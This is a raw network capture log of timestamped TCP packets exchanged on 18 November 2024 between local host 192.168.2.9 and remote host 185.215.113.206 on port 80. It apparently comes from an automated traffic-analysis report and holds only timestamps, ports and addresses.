Nov 18, 2024 15:16:34.613934040 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614003897 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.614051104 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614080906 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614126921 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.614500999 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614556074 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.614607096 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614651918 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.614880085 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614903927 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614916086 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.614949942 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.614969015 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.615562916 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.615612984 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.615816116 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.615828037 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.615915060 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.616015911 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.616255999 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.616305113 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.772098064 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.772162914 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.772919893 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.772938013 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.772972107 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.772989035 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.772989988 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.773001909 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773014069 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773025036 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773036957 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773040056 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.773061037 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.773061037 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773075104 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773093939 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.773117065 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.773246050 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773291111 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.773963928 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773978949 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.773988008 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.774018049 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.774035931 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.886687994 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.886749029 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.886820078 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.886832952 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.886867046 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.886884928 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.887252092 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.887300968 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.887394905 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.887442112 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.887695074 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.887706041 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.887717962 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.887731075 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.887763023 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.887801886 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.888242960 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.888288021 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.888462067 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.888475895 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.888510942 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.888814926 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.888864040 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.925693989 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.925755024 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.925787926 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.925818920 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.925822020 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.925858021 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:34.926002979 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:34.926048040 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.004210949 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.004342079 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.004395008 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.004410028 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.004445076 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.004456997 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.004612923 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.004662037 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.004878044 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.004894972 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.004935980 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.004951000 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.005256891 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.005306959 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.005630970 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.005644083 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.005683899 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.005969048 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.005984068 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.006000996 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.006030083 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.006055117 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.043303967 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.043416977 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.043467045 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.043521881 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.043553114 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.043576002 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.043692112 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.043703079 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.043755054 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.121978998 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.122086048 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.122101068 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.122226954 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.122267008 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.122524023 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.122579098 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.122628927 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.122684002 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.122948885 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.122970104 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.122983932 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.123007059 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.123028040 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.123567104 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.123579979 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.123594999 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.123622894 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.123635054 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.160819054 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.160950899 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.160965919 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.160985947 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.161016941 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.161036968 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.161183119 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.161199093 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.161240101 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.161544085 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.161600113 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.239537954 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.239618063 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.239636898 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.239646912 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.239691973 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.239691973 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.240055084 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.240070105 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.240128994 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.240436077 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.240447998 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.240463972 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.240499020 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.240520000 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.241121054 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.241182089 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.246835947 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.246972084 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.247131109 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.247226000 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.278330088 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.278445005 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.278459072 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.278538942 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.278570890 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.278712034 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.278871059 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.278917074 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.278932095 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.278992891 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.357173920 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.357214928 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.357275963 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.357306957 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.357471943 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.357485056 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.357530117 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.357917070 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.357966900 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.358089924 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.358138084 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.358390093 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.358402967 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.358413935 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.358431101 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.358452082 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.359026909 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.359090090 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.363851070 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.363919973 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.364104986 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.364151955 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.396020889 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.396085978 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.396115065 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.396131992 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.396155119 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.396173000 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.396452904 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.396466970 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.396492004 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.396508932 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.396785021 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.396831036 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.474874973 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.474948883 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.475006104 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475022078 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475052118 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.475068092 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.475330114 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475383043 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.475492001 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475516081 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475529909 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475543976 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475554943 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.475559950 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.475575924 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.475610971 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.476234913 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.476300955 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.476346970 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.476428032 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.476531029 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.476577997 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.481614113 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.481693029 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.481712103 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.481738091 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.513444901 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.513545036 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.513550997 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.513567924 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.513601065 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.513628960 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.513854980 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.513909101 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.514115095 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.514128923 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.514169931 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.514187098 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.514573097 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.514621973 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.592406988 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.592475891 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.592485905 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.592504025 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.592556953 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.592556953 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.592854977 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.592873096 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.593038082 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.593038082 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.593264103 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.593311071 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.593389988 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.593441010 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.593651056 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.593666077 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.593681097 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.593704939 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.593724012 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.594312906 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.594367981 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.630985022 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.631051064 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.631129026 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.631141901 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.631172895 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.631186008 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.631577015 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.631630898 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.631728888 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.631778002 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.631952047 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.631977081 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.631990910 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.632004976 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.632015944 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.632036924 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.709942102 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710025072 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710042000 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710053921 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.710083008 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.710360050 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710417032 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.710488081 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710540056 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.710702896 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710717916 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710736990 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.710767031 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.710799932 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.711237907 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.711292028 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.711416960 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.711467981 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.712888002 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.712940931 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.713109016 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.713232040 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.748598099 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.748677015 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.748728991 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.748776913 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.748955965 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.749080896 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.749120951 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.749150991 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.749346018 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.749361992 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.749378920 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.749403954 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.749440908 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.750009060 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.750061989 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.827374935 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.827510118 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.827563047 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.827574015 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.827682018 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.827828884 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.827838898 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.827883959 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.827935934 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.828078985 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.828090906 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.828130007 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.828466892 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.828478098 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.828483105 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.828522921 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.828568935 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.828773975 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.828785896 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.828830957 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.829108000 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.829153061 CET	49706	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:35.882179022 CET	80	49706	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:35.882348061 CET	49706	80	192.168.2.9	185.215.113.206
